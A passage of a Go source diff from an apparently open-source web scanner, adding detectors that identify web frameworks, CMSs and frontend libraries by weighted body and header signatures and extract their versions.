score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// railsDetector detects Ruby on Rails framework.
|
||||
type railsDetector struct{}
|
||||
|
||||
func (d *railsDetector) Name() string { return "Ruby on Rails" }
|
||||
|
||||
func (d *railsDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "csrf-param", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "csrf-token", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "_rails_session", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "ruby-on-rails", Weight: 0.3},
|
||||
{Pattern: "rails-env", Weight: 0.3},
|
||||
{Pattern: "data-turbo", Weight: 0.2},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *railsDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// expressDetector detects Express.js framework.
|
||||
type expressDetector struct{}
|
||||
|
||||
func (d *expressDetector) Name() string { return "Express.js" }
|
||||
|
||||
func (d *expressDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "Express", Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: "connect.sid", Weight: 0.3, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *expressDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// aspnetDetector detects ASP.NET framework.
|
||||
type aspnetDetector struct{}
|
||||
|
||||
func (d *aspnetDetector) Name() string { return "ASP.NET" }
|
||||
|
||||
func (d *aspnetDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "X-AspNet-Version", Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: "X-AspNetMvc-Version", Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: "ASP.NET", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "__VIEWSTATE", Weight: 0.4},
|
||||
{Pattern: "__EVENTVALIDATION", Weight: 0.3},
|
||||
{Pattern: "__VIEWSTATEGENERATOR", Weight: 0.3},
|
||||
{Pattern: ".aspx", Weight: 0.2},
|
||||
{Pattern: ".ashx", Weight: 0.2},
|
||||
{Pattern: ".asmx", Weight: 0.2},
|
||||
{Pattern: "asp.net_sessionid", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "X-Powered-By: ASP.NET", Weight: 0.4, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *aspnetDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// aspnetCoreDetector detects ASP.NET Core framework.
|
||||
type aspnetCoreDetector struct{}
|
||||
|
||||
func (d *aspnetCoreDetector) Name() string { return "ASP.NET Core" }
|
||||
|
||||
func (d *aspnetCoreDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: ".AspNetCore.", Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: "blazor", Weight: 0.4},
|
||||
{Pattern: "_blazor", Weight: 0.4},
|
||||
{Pattern: "dotnet", Weight: 0.2, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *aspnetCoreDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// springDetector detects Spring framework.
|
||||
type springDetector struct{}
|
||||
|
||||
func (d *springDetector) Name() string { return "Spring" }
|
||||
|
||||
func (d *springDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "org.springframework", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "spring-security", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "JSESSIONID", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "X-Application-Context", Weight: 0.3, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *springDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// springBootDetector detects Spring Boot framework.
|
||||
type springBootDetector struct{}
|
||||
|
||||
func (d *springBootDetector) Name() string { return "Spring Boot" }
|
||||
|
||||
func (d *springBootDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "spring-boot", Weight: 0.5},
|
||||
{Pattern: "actuator", Weight: 0.3},
|
||||
{Pattern: "whitelabel", Weight: 0.2},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *springBootDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// flaskDetector detects Flask framework.
|
||||
type flaskDetector struct{}
|
||||
|
||||
func (d *flaskDetector) Name() string { return "Flask" }
|
||||
|
||||
func (d *flaskDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "Werkzeug", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "flask", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "jinja2", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *flaskDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// symfonyDetector detects Symfony framework.
|
||||
type symfonyDetector struct{}
|
||||
|
||||
func (d *symfonyDetector) Name() string { return "Symfony" }
|
||||
|
||||
func (d *symfonyDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "symfony", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "sf_", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "_sf2_", Weight: 0.3, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *symfonyDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// fastapiDetector detects FastAPI framework.
|
||||
type fastapiDetector struct{}
|
||||
|
||||
func (d *fastapiDetector) Name() string { return "FastAPI" }
|
||||
|
||||
func (d *fastapiDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "fastapi", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "starlette", Weight: 0.3, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *fastapiDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// ginDetector detects Gin framework.
|
||||
type ginDetector struct{}
|
||||
|
||||
func (d *ginDetector) Name() string { return "Gin" }
|
||||
|
||||
func (d *ginDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "gin-gonic", Weight: 0.4},
|
||||
{Pattern: "gin", Weight: 0.2, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *ginDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// phoenixDetector detects Phoenix framework.
|
||||
type phoenixDetector struct{}
|
||||
|
||||
func (d *phoenixDetector) Name() string { return "Phoenix" }
|
||||
|
||||
func (d *phoenixDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "_csrf_token", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "phx-", Weight: 0.3},
|
||||
{Pattern: "phoenix", Weight: 0.2},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *phoenixDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// strapiDetector detects Strapi framework.
|
||||
type strapiDetector struct{}
|
||||
|
||||
func (d *strapiDetector) Name() string { return "Strapi" }
|
||||
|
||||
func (d *strapiDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "strapi", Weight: 0.4},
|
||||
{Pattern: "/api/", Weight: 0.2},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *strapiDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// adonisDetector detects AdonisJS framework.
|
||||
type adonisDetector struct{}
|
||||
|
||||
func (d *adonisDetector) Name() string { return "AdonisJS" }
|
||||
|
||||
func (d *adonisDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "adonis", Weight: 0.4},
|
||||
{Pattern: "_csrf", Weight: 0.2, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *adonisDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// cakephpDetector detects CakePHP framework.
|
||||
type cakephpDetector struct{}
|
||||
|
||||
func (d *cakephpDetector) Name() string { return "CakePHP" }
|
||||
|
||||
func (d *cakephpDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "cakephp", Weight: 0.4},
|
||||
{Pattern: "cake", Weight: 0.2},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *cakephpDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// codeigniterDetector detects CodeIgniter framework.
|
||||
type codeigniterDetector struct{}
|
||||
|
||||
func (d *codeigniterDetector) Name() string { return "CodeIgniter" }
|
||||
|
||||
func (d *codeigniterDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "codeigniter", Weight: 0.4},
|
||||
{Pattern: "ci_session", Weight: 0.4, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *codeigniterDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
@@ -0,0 +1,180 @@
|
||||
/*
|
||||
|
||||
BSD 3-Clause License
|
||||
(c) 2022-2025 vmfunc, xyzeva & contributors
|
||||
|
||||
*/
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
|
||||
fw "github.com/dropalldatabases/sif/internal/scan/frameworks"
|
||||
)
|
||||
|
||||
func init() {
|
||||
// Register all CMS detectors
|
||||
fw.Register(&wordpressDetector{})
|
||||
fw.Register(&drupalDetector{})
|
||||
fw.Register(&joomlaDetector{})
|
||||
fw.Register(&magentoDetector{})
|
||||
fw.Register(&shopifyDetector{})
|
||||
fw.Register(&ghostDetector{})
|
||||
}
|
||||
|
||||
// wordpressDetector detects WordPress CMS.
|
||||
type wordpressDetector struct{}
|
||||
|
||||
func (d *wordpressDetector) Name() string { return "WordPress" }
|
||||
|
||||
func (d *wordpressDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "wp-content", Weight: 0.4},
|
||||
{Pattern: "wp-includes", Weight: 0.4},
|
||||
{Pattern: "wp-json", Weight: 0.3},
|
||||
{Pattern: "wordpress", Weight: 0.3},
|
||||
{Pattern: "wp-emoji", Weight: 0.2},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *wordpressDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// drupalDetector detects Drupal CMS.
|
||||
type drupalDetector struct{}
|
||||
|
||||
func (d *drupalDetector) Name() string { return "Drupal" }
|
||||
|
||||
func (d *drupalDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "Drupal", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "drupal.js", Weight: 0.4},
|
||||
{Pattern: "/sites/default/files", Weight: 0.3},
|
||||
{Pattern: "Drupal.settings", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *drupalDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// joomlaDetector detects Joomla CMS.
|
||||
type joomlaDetector struct{}
|
||||
|
||||
func (d *joomlaDetector) Name() string { return "Joomla" }
|
||||
|
||||
func (d *joomlaDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "Joomla", Weight: 0.4},
|
||||
{Pattern: "/media/jui/", Weight: 0.4},
|
||||
{Pattern: "/components/com_", Weight: 0.3},
|
||||
{Pattern: "joomla.javascript", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *joomlaDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// magentoDetector detects Magento CMS.
|
||||
type magentoDetector struct{}
|
||||
|
||||
func (d *magentoDetector) Name() string { return "Magento" }
|
||||
|
||||
func (d *magentoDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "Magento", Weight: 0.4},
|
||||
{Pattern: "/static/frontend/", Weight: 0.4},
|
||||
{Pattern: "mage/", Weight: 0.3},
|
||||
{Pattern: "Mage.Cookies", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *magentoDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// shopifyDetector detects Shopify platform.
|
||||
type shopifyDetector struct{}
|
||||
|
||||
func (d *shopifyDetector) Name() string { return "Shopify" }
|
||||
|
||||
func (d *shopifyDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "Shopify", Weight: 0.5},
|
||||
{Pattern: "cdn.shopify.com", Weight: 0.4},
|
||||
{Pattern: "shopify-section", Weight: 0.4},
|
||||
{Pattern: "myshopify.com", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *shopifyDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// ghostDetector detects Ghost CMS.
|
||||
type ghostDetector struct{}
|
||||
|
||||
func (d *ghostDetector) Name() string { return "Ghost" }
|
||||
|
||||
func (d *ghostDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "ghost-", Weight: 0.4},
|
||||
{Pattern: "Ghost", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "/ghost/api/", Weight: 0.4},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *ghostDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
@@ -0,0 +1,208 @@
|
||||
/*
|
||||
|
||||
BSD 3-Clause License
|
||||
(c) 2022-2025 vmfunc, xyzeva & contributors
|
||||
|
||||
*/
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
|
||||
fw "github.com/dropalldatabases/sif/internal/scan/frameworks"
|
||||
)
|
||||
|
||||
func init() {
|
||||
// Register all frontend detectors
|
||||
fw.Register(&reactDetector{})
|
||||
fw.Register(&vueDetector{})
|
||||
fw.Register(&angularDetector{})
|
||||
fw.Register(&svelteDetector{})
|
||||
fw.Register(&emberDetector{})
|
||||
fw.Register(&backboneDetector{})
|
||||
fw.Register(&meteorDetector{})
|
||||
}
|
||||
|
||||
// reactDetector detects React framework.
|
||||
type reactDetector struct{}
|
||||
|
||||
func (d *reactDetector) Name() string { return "React" }
|
||||
|
||||
func (d *reactDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "data-reactroot", Weight: 0.5},
|
||||
{Pattern: "react-dom", Weight: 0.4},
|
||||
{Pattern: "__REACT_DEVTOOLS", Weight: 0.4},
|
||||
{Pattern: "react.production", Weight: 0.4},
|
||||
{Pattern: "_reactRootContainer", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *reactDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// vueDetector detects Vue.js framework.
|
||||
type vueDetector struct{}
|
||||
|
||||
func (d *vueDetector) Name() string { return "Vue.js" }
|
||||
|
||||
func (d *vueDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "data-v-", Weight: 0.5},
|
||||
{Pattern: "Vue.js", Weight: 0.4},
|
||||
{Pattern: "vue.runtime", Weight: 0.4},
|
||||
{Pattern: "vue.min.js", Weight: 0.4},
|
||||
{Pattern: "__vue__", Weight: 0.3},
|
||||
{Pattern: "v-cloak", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *vueDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// angularDetector detects Angular framework.
|
||||
type angularDetector struct{}
|
||||
|
||||
func (d *angularDetector) Name() string { return "Angular" }
|
||||
|
||||
func (d *angularDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "ng-version", Weight: 0.5},
|
||||
{Pattern: "ng-app", Weight: 0.4},
|
||||
{Pattern: "ng-controller", Weight: 0.4},
|
||||
{Pattern: "angular.js", Weight: 0.4},
|
||||
{Pattern: "angular.min.js", Weight: 0.4},
|
||||
{Pattern: "ng-binding", Weight: 0.3},
|
||||
{Pattern: "_nghost", Weight: 0.3},
|
||||
{Pattern: "_ngcontent", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *angularDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// svelteDetector detects Svelte framework.
|
||||
type svelteDetector struct{}
|
||||
|
||||
func (d *svelteDetector) Name() string { return "Svelte" }
|
||||
|
||||
func (d *svelteDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "svelte", Weight: 0.4},
|
||||
{Pattern: "__svelte", Weight: 0.5},
|
||||
{Pattern: "svelte-", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *svelteDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// emberDetector detects Ember.js framework.
|
||||
type emberDetector struct{}
|
||||
|
||||
func (d *emberDetector) Name() string { return "Ember.js" }
|
||||
|
||||
func (d *emberDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "ember", Weight: 0.4},
|
||||
{Pattern: "ember-cli", Weight: 0.4},
|
||||
{Pattern: "data-ember", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *emberDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// backboneDetector detects Backbone.js framework.
|
||||
type backboneDetector struct{}
|
||||
|
||||
func (d *backboneDetector) Name() string { return "Backbone.js" }
|
||||
|
||||
func (d *backboneDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "backbone", Weight: 0.4},
|
||||
{Pattern: "Backbone.", Weight: 0.4},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *backboneDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// meteorDetector detects Meteor framework.
|
||||
type meteorDetector struct{}
|
||||
|
||||
func (d *meteorDetector) Name() string { return "Meteor" }
|
||||
|
||||
func (d *meteorDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "__meteor_runtime_config__", Weight: 0.5},
|
||||
{Pattern: "meteor", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *meteorDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
/*
|
||||
|
||||
BSD 3-Clause License
|
||||
(c) 2022-2025 vmfunc, xyzeva & contributors
|
||||
|
||||
*/
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
|
||||
fw "github.com/dropalldatabases/sif/internal/scan/frameworks"
|
||||
)
|
||||
|
||||
func init() {
|
||||
// Register all meta-framework detectors
|
||||
fw.Register(&nextjsDetector{})
|
||||
fw.Register(&nuxtDetector{})
|
||||
fw.Register(&sveltekitDetector{})
|
||||
fw.Register(&gatsbyDetector{})
|
||||
fw.Register(&remixDetector{})
|
||||
}
|
||||
|
||||
// nextjsDetector detects Next.js framework.
|
||||
type nextjsDetector struct{}
|
||||
|
||||
func (d *nextjsDetector) Name() string { return "Next.js" }
|
||||
|
||||
func (d *nextjsDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "__NEXT_DATA__", Weight: 0.5},
|
||||
{Pattern: "_next/static", Weight: 0.4},
|
||||
{Pattern: "__next", Weight: 0.3},
|
||||
{Pattern: "x-nextjs", Weight: 0.3, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *nextjsDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// nuxtDetector detects Nuxt.js framework.
|
||||
type nuxtDetector struct{}
|
||||
|
||||
func (d *nuxtDetector) Name() string { return "Nuxt.js" }
|
||||
|
||||
func (d *nuxtDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
